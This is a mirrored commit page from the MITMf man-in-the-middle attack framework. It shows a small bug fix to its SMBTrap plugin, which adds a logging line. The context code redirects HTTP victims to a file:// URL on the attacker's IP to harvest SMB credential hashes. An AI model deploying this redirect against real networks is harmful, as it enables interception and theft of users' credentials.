mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 21:42:17 -07:00
The new changes caused an exception when unpacking the tuple, fixed it
This commit is contained in:
parent
840e202e5b
commit
e985d42a8a
3 changed files with 12 additions and 2 deletions
|
@ -20,4 +20,5 @@ class SMBTrap(Plugin):
|
|||
return (version, 302, "Found")
|
||||
|
||||
def serverHeaders(self, response, request):
|
||||
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
|
||||
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
Loading…
Add table
Add a link
Reference in a new issue